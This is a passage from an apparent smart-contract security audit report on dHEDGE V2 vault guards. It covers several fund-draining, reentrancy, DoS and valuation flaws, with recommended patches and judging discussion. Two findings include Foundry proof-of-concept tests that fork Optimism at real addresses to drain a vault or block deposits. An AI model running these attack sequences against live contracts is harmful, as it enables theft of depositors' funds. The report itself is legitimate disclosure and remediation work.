    function borrow(address, uint256, uint256, uint16, address) external;
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
}

contract PoolTest is Test {
```

```
    IPoolLogic pool = IPoolLogic(0x749E1d46C83f09534253323A43541A9d2bBD03AF);
    address managerAddress = 0xeFc4904b786A3836343A3A504A2A3cb303b77D64;

    IAavePool aaveLendingPool =
↪   IAavePool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);

    IERC20 WETH = IERC20(0x4200000000000000000000000000000000000006);
    IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);
    IERC20 RETH = IERC20(0x9Bcef72be871e61ED4fBbc7630889beE758eb81D);

    uint256 opFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        // Create Optimism fork
        opFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(opFork, vm.activeFork());
        vm.rollFork(121348913); // Jun-13-2024 04:36:43 PM +UTC
    }

    function test_DoS_aave() public {
        // First, simulate the pool getting 1 WETH
        deal(address(WETH), address(pool), 1e18);

        // Approve 1 WETH to the Aave lending pool
        bytes memory data = abi.encodeWithSelector(WETH.approve.selector,
↪   address(aaveLendingPool), 1e18);
        vm.prank(managerAddress);
        pool.execTransaction(address(WETH), data);

        // Supply 1 WETH to the Aave lending pool
        data = abi.encodeWithSelector(aaveLendingPool.deposit.selector,
↪   address(WETH), 1e18, address(pool), 0);
        vm.prank(managerAddress);
        pool.execTransaction(address(aaveLendingPool), data);

        // The manager deposits 1 rETH on behalf of the pool
        deal(address(RETH), managerAddress, 1e18);
        vm.startPrank(managerAddress);
        RETH.approve(address(aaveLendingPool), 1e18);
        aaveLendingPool.deposit(address(RETH), 1e18, address(pool), 0);
        vm.stopPrank();

        // Borrow some USDC
        data = abi.encodeWithSelector(aaveLendingPool.borrow.selector,
↪   address(USDC), 5_000e6, 2, 0, address(pool));
```


```
        vm.prank(managerAddress);
        pool.execTransaction(address(aaveLendingPool), data);

        // Try to mint the manager fee (which is triggered every deposit and
↪   withdrawal)
        // DoS
        vm.expectRevert("SafeMath: subtraction overflow");
        pool.mintManagerFee();
    }
}
```

The above test shows how can the manager trigger a DoS on all deposits and withdrawals by using an integer underflow error.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/AaveLendingPoolAssetGuard.sol#L106

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to floor at zero the subtraction at `getBalance` to avoid any underflow when the accounted collateral is lower than the accounted debt.

```
-   balance = totalCollateralInUsd.sub(totalDebtInUsd);

+   if (totalDebtInUsd > totalCollateralInUsd) {
+       balance = 0;
+   } else {
+       balance = totalCollateralInUsd.sub(totalDebtInUsd);
+   }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/952

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-5: `OneInchV6Guard` insufficient checks allow manager to steal tokens via unoswap swaps

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/32

Found by

carrotsmuggler, ctf_sec

Summary

`OneInchV6Guard` insufficient checks allow manager to steal tokens via unoswap swaps

Vulnerability Detail

Managers and traders can execute transactions on the funds in the pool via the `execTransaction` function. The transactions are first checked by the contract guards of the destination. One such destination is the OneInch contract.

Managers and traders are not trusted members. They are not expected to be able to draw out funds from the pool. The `OneInchV6Guard.sol` contract makes sure that the managers adn traders cannot take out too much value from the pool. This is done via the slippage accumulator.

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/contractGuards/OneInchV6Guard.sol#L134-L143

The `_verifySwap` function checks the swap parameters, and especially the swap input and output assets+amounts. The slippage accumulator checks the total value in and the total value out, and makes sure that the loss is within limits specified by the protocol owners.

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/utils/SlippageAccumulator.sol#L90-L101

Thus `swapData.srcAmount` and `swapData.dstAmount` are crucial numbers.

The issue is that in the unoswap modules of oneinch, the `swapData.dstAmount` can be faked. The manager passes in the `pool` address and the `dstAmount`, which can be bad values and bad contracts.

```
(uint256 srcToken, uint256 srcAmount, uint256 dstAmount, uint256 pool) =
↪  abi.decode(
        params,
```

```
        (uint256, uint256, uint256, uint256)
      );
```

A check is done on the `pool` address, with `_checkProtocolsSupported(pools)`, but if the `pool` is malicious, it can easily pass this check since the calls are done on the pool itself.

```
ProtocolLib.Protocol protocol = _pools[i].protocol();
require(
protocol == ProtocolLib.Protocol.UniswapV2 || protocol ==
↪  ProtocolLib.Protocol.UniswapV3,
    "exchange pool not supported"
);
require(!_pools[i].shouldUnwrapWeth(), "WETH unwrap not supported");
```

As seen above, the `pool` has to implement a `protocol()` function which returns `UniswapV2` or `UniswapV3`. This is easily faked.

So now the last hope is that the Oneinch router itself ensures that atleast `destAmount` amount of tokens are paid out, or that `pool` address is checked. To verify this, we check the router contract at 0x111111125421cA6dc452d289314280a0f8842A65 on the mainnet.

In the router, the `_unoswapTo` function is called, which calls the `_unoswap` function.

```
function _unoswap(
        address spender,
        address recipient,
        Address token,
        uint256 amount,
        uint256 minReturn,
        Address dex
    ) private returns(uint256 returnAmount) {
        ProtocolLib.Protocol protocol = dex.protocol();
        if (protocol == ProtocolLib.Protocol.UniswapV3) {
            returnAmount = _unoswapV3(spender, recipient, amount, minReturn,
↪  dex);
        } else if (protocol == ProtocolLib.Protocol.UniswapV2) {
            if (spender == address(this)) {
                IERC20(token.get()).safeTransfer(dex.get(), amount);
            } else if (spender == msg.sender) {
                IERC20(token.get()).safeTransferFromUniversal(msg.sender,
↪  dex.get(), amount, dex.usePermit2());
            }
            returnAmount = _unoswapV2(recipient, amount, minReturn, dex);
        } else if (protocol == ProtocolLib.Protocol.Curve) {
            if (spender == msg.sender && msg.value == 0) {
```

```
                IERC20(token.get()).safeTransferFromUniversal(msg.sender,
↪  address(this), amount, dex.usePermit2());
            }
            returnAmount = _curfe(recipient, amount, minReturn, dex);
        }
    }
```

As we can see above, `pool` is not verified. Only a view function is called in the pool which can be faked. So pool (here `dex`) can be a malicious contract which returns bad values. In both the `_unoswapV3` and `_unoswapV2` functions, the `swap()` function is called on uni V2 or V3 pools, and the return value is checked against `minReturn`. If the pool is malicious, it can take all the input tokens, pay out 0 output tokens, and still return a `returnAmount` which is higher than the `minReturn`.

So we have established that the `pool` address is not sufficiently checked by either the `OneInchV6Guard` or the `OneInch` router so it can be malicious. The actual token transfer amounts are not checked, and only the returns value is checked, which can be fake.

So if the maanger decides to steal everything from the pool, they can deploy a `pool` contract which takes out tokens from the router, and returns an appropriate `returnAmount` and has the necessary view only functions. They can then call the `execTransaction` function with the `pool` address, and drain the pool of all funds. The slippage accumulator will not be triggerred, since it works off of the return value from the pool.

Draining of the pool by the manager/trader is explicitly forbidden by the protocol. Thus this is a high severity issue.

Impact

Entire pool can be drained by the manager or trader.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/contractGuards/OneInchV6Guard.sol#L161-L170

Tool used

Manual Review

Recommendation

Check if `pool` is a legit pool by calling and checking with the uni V2 or V3 or the curve factory contract and verifying it. The factory contracts generally have a way

to check if an address i a pool deployed by them or not.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/948

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-6: `AerodromeCLGaugeContractGuard` allows the manager to drain the Vault by withdrawing liquidity from a Velodrome Gauge and receiving unsupported tokens

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/56

Found by

ether_sky, sakshamguruji, santipu_, zzykxx

Summary

The lack of checks in the functions `deposit` and `withdraw` within the `AerodromeCLGaugeContractGuard` allows the manager to drain the Vault by withdrawing liquidity from Velodrome and receiving unsupported tokens, which the manager can later steal.

Vulnerability Detail

When a Vault wants to interact with a Velodrome gauge, a contract guard ensures that only certain functions can be called with the correct arguments. However, the lack of checks in the guard for the functions `deposit` and `withdraw` allows the manager to drain the Vault by following this attack sequence:

1. The manager uses the Vault to mint a liquidity NFT from a CLPool (e.g. WETH-USDC) through `NonFungiblePositionManager::mint`.
2. The manager uses the Vault to decrease liquidity from that NFT through `NonFungiblePositionManager::decreaseLiquidity`.
3. The manager removes the assets USDC and WETH from being supported in the Vault.
4. The manager uses the Vault to deposit that NFT into the gauge through `CLGauge::deposit`.

After executing step 4, the Vault will receive the liquidity that was removed in step 2, but those tokens won't be accounted for in the Vault's total value because the USDC and WETH tokens have been removed from the *supported assets* list.

The root cause of this issue is that the `deposit` and `withdraw` functions within the `CLGauge` contract are internally calling `NonFungiblePositionManager::collect`, which will send the previously withdrawn tokens to the receiver, which will be the Vault. But those functions do not check that the tokens are supported by the Vault, so a manager can make those tokens unsupported and thus steal them from the Vault's users.

If we take a look at Velodrome guards, we can see that this check is performed when the Vault calls `collect` directly:

```
    } else if (method == IVelodromeNonfungiblePositionManager.collect.selector) {
      IVelodromeNonfungiblePositionManager.CollectParams memory collectParams =
↪   abi.decode(
        params,
        (IVelodromeNonfungiblePositionManager.CollectParams)
      );
      (, , address token0, address token1, , , , , , , , ) =
↪   nonfungiblePositionManager.positions(
        collectParams.tokenId
      );

>>    require(poolManagerLogicAssets.isSupportedAsset(token0), "unsupported
↪   asset: tokenA");
>>    require(poolManagerLogicAssets.isSupportedAsset(token1), "unsupported
↪   asset: tokenB");
```

But on the other hand, this check is not performed when the Vaults calls `deposit` and `withdraw`, which internally will call `collect`:

```
if (method == IVelodromeCLGauge.deposit.selector) {
  uint256 tokenId = abi.decode(params, (uint256));
  _validateTokenId(nonfungiblePositionManagerGuard, tokenId, poolLogic);

  txType = uint16(TransactionType.VelodromeCLStake);
} else if (method == IVelodromeCLGauge.withdraw.selector) {
  uint256 tokenId = abi.decode(params, (uint256));
  _validateTokenId(nonfungiblePositionManagerGuard, tokenId, poolLogic);

  txType = uint16(TransactionType.VelodromeCLUnstake);
```

Impact

By using this attack path, the manager of a Vault can reduce the Vault's token price to almost zero because all funds used in this attack will become untracked at the end of it.

After step 4, the manager can steal those untracked tokens by swapping them and allowing 100% slippage. Usually, if a manager wants the Vault to perform a swap using 1Inch, some checks ensure that the slippage cannot be high to protect the user's funds. This is checked at `SlippageAccumulator::updateSlippageImpact`:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/utils/SlippageAccumulator.sol#L89

```
function updateSlippageImpact(SwapData calldata swapData) external
↪  onlyContractGuard(swapData.to) {
  if (IHasSupportedAsset(swapData.poolManagerLogic).isSupportedAsset(swapData.sr
↪  cAsset)) {
    // ...
  }
}
```

However, as the code snippet is showing, the slippage of a swap won't be checked if the token being swapped is not supported by the Vault. Using this, a manager can trade all the untracked WETH and USDC allowing all the slippage, and can sandwich that transaction by extracting the maximum value out of that swap.

PoC

The following PoC is a test that forks the Optimism blockchain and executes the attack on a Vault. The test can be pasted in any Foundry environment and can be run with the command `forge test --match-test test_gauge`.

Additionally, you must have the following lines in the `.env` file in order for the test to fork the blockchain:

```
OPTIMISM_RPC_URL=https://opt-mainnet.g.alchemy.com/v2/{key}
```

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.13;

import {Test} from "forge-std/Test.sol";
interface IVelodromeNonfungiblePositionManager {
    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }
    function ownerOf(uint256 tokenId) external view returns (address);
    function positions(uint256 tokenId) external view returns (uint96, address,
↪  address, address, int24, int24, int24, uint128, uint256, uint256, uint128,
↪  uint128);
    function decreaseLiquidity(DecreaseLiquidityParams calldata params) external;
    function approve(address to, uint256 tokenId) external;
}

interface ICLGauge {
```

```
    function deposit(uint256 tokenId) external;
}

interface IPoolLogic {
    function execTransaction(address to, bytes calldata data) external returns
↪   (bool success);
}

interface IPoolManagerLogic {
    struct Asset {
        address asset;
        bool isDeposit;
    }
    function changeAssets(Asset[] calldata _addAssets, address[] calldata
↪   _removeAssets) external;
    function totalFundValue() external view returns (uint256);
}

contract VelodromeTest is Test {

    IVelodromeNonfungiblePositionManager veloManager = IVelodromeNonfungiblePosi
↪   tionManager(0xbB5DFE1380333CEE4c2EeBd7202c80dE2256AdF4);
    IPoolLogic pool = IPoolLogic(0x749E1d46C83f09534253323A43541A9d2bBD03AF);
    ICLGauge gauge = ICLGauge(0x8d8d1CdDD5960276A1CDE360e7b5D210C3387948);
    IPoolManagerLogic manager =
↪   IPoolManagerLogic(0x950A19078d33f732d35d3630c817532308490cCD);

    address managerAddress = 0xeFc4904b786A3836343A3A504A2A3cb303b77D64;

    address usdc = 0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85;
    address weth = 0x4200000000000000000000000000000000000006;

    uint256 opFork;
    string OPTIMISM_RPC_URL = vm.envString("OPTIMISM_RPC_URL");

    function setUp() public {
        // Create Optimism fork
        opFork = vm.createSelectFork(OPTIMISM_RPC_URL);
        assertEq(opFork, vm.activeFork());

        vm.rollFork(121164040); // Jun-09-2024 09:54:17 AM +UTC
    }

    function test_gauge() public {
        // Right now the Vault has an NFT for the Velodrome pool CL100
↪   WETH-USDC, not staked in the gauge
        uint256 tokenId = 50383;
```


```
        assert(veloManager.ownerOf(tokenId) == address(pool));

        // We get rid of the leftovers USDC and WETH the Vault is holding (for
↪   simplicity)
        deal(address(usdc), address(pool), 0);
        deal(address(weth), address(pool), 0);

        // Get the total liquidity of this NFT
        (,,,,,,, uint128 liquidity,,,,) = veloManager.positions(tokenId);

        // Decrease most of the liquidity
        IVelodromeNonfungiblePositionManager.DecreaseLiquidityParams memory
↪   params = IVelodromeNonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity - 10,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });
        bytes memory data =
↪   abi.encodeWithSelector(veloManager.decreaseLiquidity.selector, params);
        vm.prank(managerAddress);
        pool.execTransaction(address(veloManager), data);

        // Remove USDC and WETH as supported assets from the pool
        address[] memory removeAssets = new address[](2);
        removeAssets[0] = address(usdc);
        removeAssets[1] = address(weth);
        vm.prank(managerAddress);
        manager.changeAssets(new IPoolManagerLogic.Asset[](0), removeAssets);

        // Approve the gauge to spend the NFT
        bytes memory data3 =
↪   abi.encodeWithSelector(veloManager.approve.selector, address(gauge),
↪   tokenId);
        vm.prank(managerAddress);
        pool.execTransaction(address(veloManager), data3);

        uint256 totalFundValueBefore = manager.totalFundValue();

        // Now, stake the NFT in the gauge
        bytes memory data4 = abi.encodeWithSelector(gauge.deposit.selector,
↪   tokenId);
        vm.prank(managerAddress);
        pool.execTransaction(address(gauge), data4);

        uint256 totalFundValueAfter = manager.totalFundValue();
```


```
        // The total value deposited in the Vault falls drastically because the
↪  USDC and WETH are now untracked.
        assertEq(totalFundValueBefore, 33.940946395141082838e18);     // BEFORE:
↪  33 USD
        assertEq(totalFundValueAfter, 0.745044450895786687e18);       // AFTER:
↪  0.74 USD
    }
}
```

As the test shows, the manager can drain all funds from the Vault. After the last step, the manager can simply recover those USDC and WETH by executing a swap through 1Inch, allowing 100% slippage, which will pass because USDC and WETH aren't supported assets.

Take into account that the test shows a loss of 33 USD because that was the total deposited value in that testing Vault, but a manager can use this bug to empty any Vault that is currently under its control.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/contractGuards/velodrome/AerodromeCLGaugeContractGuard.sol#L43-L52

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to ensure that both tokens from the liquidity pool are supported by the Vault before calling `deposit` and `withdraw`.

```
    if (method == IVelodromeCLGauge.deposit.selector) {
      uint256 tokenId = abi.decode(params, (uint256));
      _validateTokenId(nonfungiblePositionManagerGuard, tokenId, poolLogic);
+     (, , address token0, address token1, , , , , , , , ) = IVelodromeNonfungib
↪  lePositionManager(nonfungiblePositionManager).positions(tokenId);
+     require(IHasSupportedAsset(poolManagerLogic).isSupportedAsset(token0));
+     require(IHasSupportedAsset(poolManagerLogic).isSupportedAsset(token1));

      txType = uint16(TransactionType.VelodromeCLStake);
    } else if (method == IVelodromeCLGauge.withdraw.selector) {
      uint256 tokenId = abi.decode(params, (uint256));
      _validateTokenId(nonfungiblePositionManagerGuard, tokenId, poolLogic);
```

```
+     (, , address token0, address token1, , , , , , , , ) = IVelodromeNonfungib
↪  lePositionManager(nonfungiblePositionManager).positions(tokenId);
+     require(IHasSupportedAsset(poolManagerLogic).isSupportedAsset(token0));
+     require(IHasSupportedAsset(poolManagerLogic).isSupportedAsset(token1));

      txType = uint16(TransactionType.VelodromeCLUnstake);
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/917

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-7: The manager can steal the rewards from all Velodrome Gauges

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/58

Found by

bughuntoor, ether_sky, santipu_, zzykxx

Summary

When a Vault deposits liquidity into a Velodrome Concentrated Liquidity Pool (CLPool), it also has the option to stake that liquidity into a Velodrome Gauge, which will give rewards in the VELO token. However, the manager can directly call `getReward` while the VELO token is not supported in the Vault to steal those rewards from the Vault's users.

Vulnerability Detail

Whenever the Vault has some liquidity staked into a Velodrome Gauge, the rewards generated from that staking are accounted towards the total Vault's value, which is accounted in `VelodromeCLAssetGuard`:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/velodrome/VelodromeCLAssetGuard.sol#L129-L134

```
if (isStaked) {
  //during increasing/decreasing staked liquidity the rewards move from earned
 ↪  to rewards
  address rewardToken = clGauge.rewardToken();
  tokenBalance = tokenBalance.add(_assetValue(pool, rewardToken,
 ↪  clGauge.earned(pool, tokenId)));
  tokenBalance = tokenBalance.add(_assetValue(pool, rewardToken,
 ↪  clGauge.rewards(tokenId)));
}
```

These rewards are accounted towards the total Vault's value even if the VELO token is supported or not. However, the manager uses the Vault to call `CLGauge::getReward` while the VELO token is not supported so those tokens are transferred to the Vault but are not accounted for the total value because that token is not supported.

The function `totalFundValueMutable`, which is in charge of getting the total Vaul'ts value, will only loop over the supported assets:

```
  function totalFundValueMutable() external override returns (uint256 total) {
>>  uint256 assetCount = supportedAssets.length;

    for (uint256 i; i < assetCount; ++i) {
      address asset = supportedAssets[i].asset;
      address guard = IHasGuardInfo(factory).getAssetGuard(asset);
      uint256 balance;
      (bool hasFunction, bytes memory answer) =
↪   guard.call(abi.encodeWithSignature("isStateMutatingGuard()"));
      if (hasFunction && abi.decode(answer, (bool))) {
        balance = IMutableBalanceAssetGuard(guard).getBalanceMutable(poolLogic,
↪   asset);
      } else {
>>      balance = IAssetGuard(guard).getBalance(poolLogic, asset);
      }
      total = total.add(assetValue(asset, balance));
    }
  }
```

Because of this, the unclaimed rewards from a Velodrome Gauge will be counted towards the Vault's total value, but if the manager disables the VELO token and claims the rewards, those tokens will be removed from the total value. This means that the users will experience a drop in the Vault's share price because the rewards are removed from the total assets.

After the rewards are maliciously claimed by the manager, he could steal most of them by swapping the VELO tokens on 1Inch allowing 100% slippage, and sandwiching that transaction to extract the value. Usually, if a manager wants the Vault to perform a swap using 1Inch, some checks ensure that the slippage cannot be high to protect the user's funds. This is checked at `SlippageAccumulator::updateSlippageImpact`:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/utils/SlippageAccumulator.sol#L89

```
function updateSlippageImpact(SwapData calldata swapData) external
↪   onlyContractGuard(swapData.to) {
  if (IHasSupportedAsset(swapData.poolManagerLogic).isSupportedAsset(swapData.sr
↪   cAsset)) {
    // ...
  }
}
```

However, as the code snippet is showing, the slippage of a swap won't be checked if the token being swapped is not supported by the Vault. Using this, a manager

can trade all the untracked VELO allowing all the slippage, and can sandwich that transaction by extracting the maximum value out of that swap.

Sidenote: The manager can also trigger this issue by calling the `withdraw`, which will call `_getReward` internally.

Impact

The manager can steal all VELO rewards from all Velodrome Gauges.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/contractGuards/velodrome/AerodromeCLGaugeContractGuard.sol#L53-L59

Tool used

Manual Review

Recommendation

To mitigate this issue is recommended to check if the reward token is supported by the Vault before letting the manager call the functions `getReward` and `withdraw`.

```
    } else if (method == IVelodromeCLGauge.withdraw.selector) {
      uint256 tokenId = abi.decode(params, (uint256));
      _validateTokenId(nonfungiblePositionManagerGuard, tokenId, poolLogic);

+     address rewardToken = velodromeCLGauge.rewardToken();
+
 ↪  require(IHasSupportedAsset(poolManagerLogic).isSupportedAsset(rewardToken),
 ↪  "unsupported asset: rewardToken");

      txType = uint16(TransactionType.VelodromeCLUnstake);
    } else if (method == bytes4(keccak256("getReward(uint256)"))) {
      // it's possible to claim any reward token and sell it, we don't check if
 ↪  the reward token is supported
      uint256 tokenId = abi.decode(params, (uint256));
      _validateTokenId(nonfungiblePositionManagerGuard, tokenId, poolLogic);

+     address rewardToken = velodromeCLGauge.rewardToken();
+
 ↪  require(IHasSupportedAsset(poolManagerLogic).isSupportedAsset(rewardToken),
 ↪  "unsupported asset: rewardToken");
```

```
      txType = uint16(TransactionType.Claim);
    }

    return (txType, false);
  }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/917

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-8: Velodrome staked position are significantly overvalued

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/79

Found by

bughuntoor, zzykxx

Summary

Velodrome staked position are significantly overvalued

Vulnerability Detail

Let's see how `Velodrome` LP positions are valued within `VelodromeCLAssetGuard`

```
(uint256 amount0, uint256 amount1) = nonfungiblePositionManager.total(tokenId,
↪  poolParams.sqrtPriceX96);

tokenBalance = tokenBalance.add(_assetValue(pool, poolParams.token0,
↪  amount0)).add(
  _assetValue(pool, poolParams.token1, amount1)
);
```

```
function total(
  IVelodromeNonfungiblePositionManager positionManager,
  uint256 tokenId,
  uint160 sqrtRatioX96
) internal view returns (uint256 amount0, uint256 amount1) {
  (uint256 amount0Principal, uint256 amount1Principal) =
↪  principal(positionManager, tokenId, sqrtRatioX96);
  (uint256 amount0Fee, uint256 amount1Fee) = fees(positionManager, tokenId);
  return (amount0Principal + amount0Fee, amount1Principal + amount1Fee);
}
```

```
function _fees(
  IVelodromeNonfungiblePositionManager positionManager,
  FeeParams memory feeParams
) private view returns (uint256 amount0, uint256 amount1) {
  (uint256 poolFeeGrowthInside0LastX128, uint256 poolFeeGrowthInside1LastX128) =
↪  _getFeeGrowthInside(
    IVelodromeCLPool(
      PoolAddress.computeAddress(
```

```
        positionManager.factory(),
        PoolAddress.PoolKey({token0: feeParams.token0, token1: feeParams.token1,
↪   tickSpacing: feeParams.tickSpacing})
      )
    ),
    feeParams.tickLower,
    feeParams.tickUpper
  );

  amount0 =
    FullMath.mulDiv(
      poolFeeGrowthInside0LastX128 - feeParams.positionFeeGrowthInside0LastX128,
      feeParams.liquidity,
      FixedPoint128.Q128
    ) +
    feeParams.tokensOwed0;

  amount1 =
    FullMath.mulDiv(
      poolFeeGrowthInside1LastX128 - feeParams.positionFeeGrowthInside1LastX128,
      feeParams.liquidity,
      FixedPoint128.Q128
    ) +
    feeParams.tokensOwed1;
}
```

The problem is that `fees` are calculated based on the last value of position's `positionFeeGrowthInside1LastX128` (what fees the position would usually have earned if it hadn't been staked). However, staked Velodrome positions actually do not accrue any pool fees. They only earn gauge rewards.

Consider a LP position for $1000 worth of tokens:

- if it was not staked it would've earned $500 in fees.
- since it is staked, it has earned $1000 in gauge rewards

Although the LP position is worth $2000, the current implementation of the code would value it at $2500.

The longer the LP positions has been active, the bigger discrepancy there will be. This would cause users to deposit based on an inflated value of the Pool. Upon adjustment of the LP position (to sync it with the Velodrome Pool), this would result in an instant loss for the new depositors.

Impact

Wrong valuation of LP positions.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/guards/assetGuards/velodrome/VelodromeCLAssetGuard.sol#L111

Tool used

Manual Review

Recommendation

Do not calculate fees if position is staked

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/dhedge/dhedge-v2/pull/933

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-9: Protocol manager can steal all funds via reentrancy during the 1inch swap.

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/81

Found by

bughuntoor, zzykxx

Summary

Protocol manager can steal all funds via reentrancy during the 1inch swap.

Vulnerability Detail

Protocol manager can initiate 1inch swaps via multiple Univ3 pools. The only restrictions put by the dHedge pool is that the received amount of funds should be within the set slippage %.

A protocol manager can utilize this to steal all contract funds in the following way:

1. Transfer all contract funds into a single asset.
2. Initiate a 1inch swap with a custom malicious token in the middle, for almost all funds (leave a dust amount within the contract)
3. Once the funds are out of the contract and the custom token is reached, re-enter back into the contract via `deposit` (deposit does not have a `nonReentrant` modifier)
4. Since all of the funds are out of the contract, the pool's valuation will be a dust amount. Depositing a reasonable amount will result into easily getting >99.99% of the pool's token supply
5. Continue the 1inch swap and send the funds back to the pool
6. Now that the swap is concluded and funds are back in the contract, protocol manager owns almost all tokens and can withdraw everything.

Impact

Protocol manager can steal all funds

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L251

Tool used

Manual Review

Recommendation

add `nonReentrant` modifier to `deposit`

Discussion

nevillehuang

@spacegliderrrr @santipu03 What is the difference between this issue and #81. #81 and #82 seems similar in that it requires initiating a 1-inch swap with a malicious token in the path. Seems like duplicates

santipu03

I believe issues #81 and #82 are duplicates because the root causes are the same.

spacegliderrrr

@nevillehuang #81 requires re-entering into `PoolLogic` during the 1inch swap. #82 requires entering the `PoolManagerLogic` contract. Fix of #81 would be to add a `nonReentrant` modifier to deposit. Fix of #82 would be to add a `afterTxGuard` to make sure `dstToken` isn't removed in the middle of the transaction. You can't solve both issues with a single fix

nevillehuang

@spacegliderrrr Wouldn't the fix just to not allow custom tokens (uniswap pools)? I think this will fix issues 19, 32, 81, 82, 107 so they seem to be duplicates

spacegliderrrr

Escalate

The issue can occur not only by using custom tokens, but also by using a malicious executor, hence that is not the root cause. The actual root cause is that a `nonReentrant` modifier is missing from the deposit function. Issue should be deduplicated.

sherlock-admin3

> Escalate
>
> The issue can occur not only by using custom tokens, but also by using a malicious executor, hence that is not the root cause. The actual root cause is that a `nonReentrant` modifier is missing from the deposit function. Issue should be deduplicated.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity

Planning to accept the escalation and apply the changes expressed in #14.

WangSecurity

Result: High Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- spacegliderrrr: accepted

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/dhedge/dhedge-v2/pull/948

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue M-1: Private vaults don't prevent non-whitelisted users from investing

Source: https://github.com/sherlock-audit/2024-05-dhedge-judging/issues/8

Found by

carrotsmuggler, santipu_

Summary

The manager of a Vault can set a Vault to be public or private. When a Vault is set to be private, it should prevent unallowed users from investing but in reality, it won't accomplish that, thus defeating the whole purpose of a private Vault.

Vulnerability Detail

In the README there's the following statement:

Link to section

> Can set vault to be public (anyone can deposit) or private (managers chooses who can invest).

When a Vault is set to be private, it should only allow whitelisted users to invest in that Vault. There's a check on the `_depositFor` function that ensures that only whitelisted members can call that function if the Vault is private:

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L276

```
      function _depositFor(
        address _recipient,
        address _asset,
        uint256 _amount,
        uint256 _cooldown
>>    ) private onlyAllowed(_recipient) whenNotFactoryPaused whenNotPaused
↪   returns (uint256 liquidityMinted) {
```

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L163-L166

```
modifier onlyAllowed(address _recipient) {
  require(_recipient == manager() || !privatePool ||
↪   isMemberAllowed(_recipient), "only members allowed");
```

```
    _;
}
```

However, users can get around this limitation easily by using a whitelisted address to invest in the Vault and then transferring the shares to other non-whitelisted addresses. There's the function `_beforeTokenTransfer` that prevents the transfer of shares in some scenarios, but it won't prevent transferring some shares to a non-whitelisted address when the Vault is private.

In conclusion, a manager setting a private Vault should be able to choose the addresses that can invest, but this won't be true because the whitelisted addresses can transfer the shares to anyone, thus defeating the whole purpose of privacy within the Vault.

Impact

Even though the impact might seem to depend on speculation, this issue is breaking a restriction stated on the README, so I think it warrants medium severity according to the Sherlock guidelines:

> The protocol team can use the README (and only the README) to define language that indicates the codebase's restrictions and/or expected functionality. Issues that break these statements, irrespective of whether the impact is low/unknown, will be assigned Medium severity. High severity will be applied only if the issue falls into the High severity category in the judging guidelines.

Code Snippet

https://github.com/sherlock-audit/2024-05-dhedge/blob/main/V2-Public/contracts/PoolLogic.sol#L216

Tool used

Manual Review

Recommendation

In order to mitigate this issue, it is recommended to implement on private Vaults a check to ensure that the receiver of the shares in a transfer is whitelisted:

```
  function _beforeTokenTransfer(address from, address to, uint256 amount)
↪   internal virtual override {
    super._beforeTokenTransfer(from, to, amount);
    // Minting
    if (from == address(0)) {
```

```
      return;
    }

+   require(!privatePool || isMemberAllowed(to));

    if (IPoolFactory(factory).receiverWhitelist(to) == true) {
      return;
    }

    require(getExitRemainingCooldown(from) == 0, "cooldown active");
  }
```

Discussion

spacegliderrrr

Escalate

